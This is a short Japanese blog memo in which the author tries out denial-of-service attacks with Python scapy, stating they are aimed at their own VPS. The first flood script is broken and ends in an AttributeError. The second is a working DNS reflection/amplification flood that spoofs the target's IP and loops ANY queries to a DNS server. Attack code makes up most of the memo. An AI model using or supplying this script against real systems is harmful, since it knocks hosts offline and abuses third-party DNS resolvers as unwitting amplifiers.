[Security] DoS攻撃

自分の契約しているvpsに自分でパケットを送る

$ pip3 install scapy

from scapy.all import*

source_IP = "*.*.*.*"
target_IP = "*.*.*.*"
source_port = "80"
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1/TCP1
   send(pkt, inter = .001)

   print("paket sent ", i)
   i = i + 1

$ python3 main.py
raise AttributeError(fname)
AttributeError: source_IP

うまくいかんな

違う方法

from scapy.all import *

target = "*.*.*.*"
dns1 = "*.*.*.*"

udp = UDP(dport=53)
dns = DNS(rd=1, qdcount=1, qd=DNSQR(qname="www.google.com", qtype=255))

i = 1

while True:
   ip = IP(src=target, dst=dns1)
   request = (ip/udp/dns)
   send(request)

   print("udp sent ", i)
   i = i + 1

なるほど、while文でパケットを送り続けるのか
ネットワーク周りの知識がかなり必要だな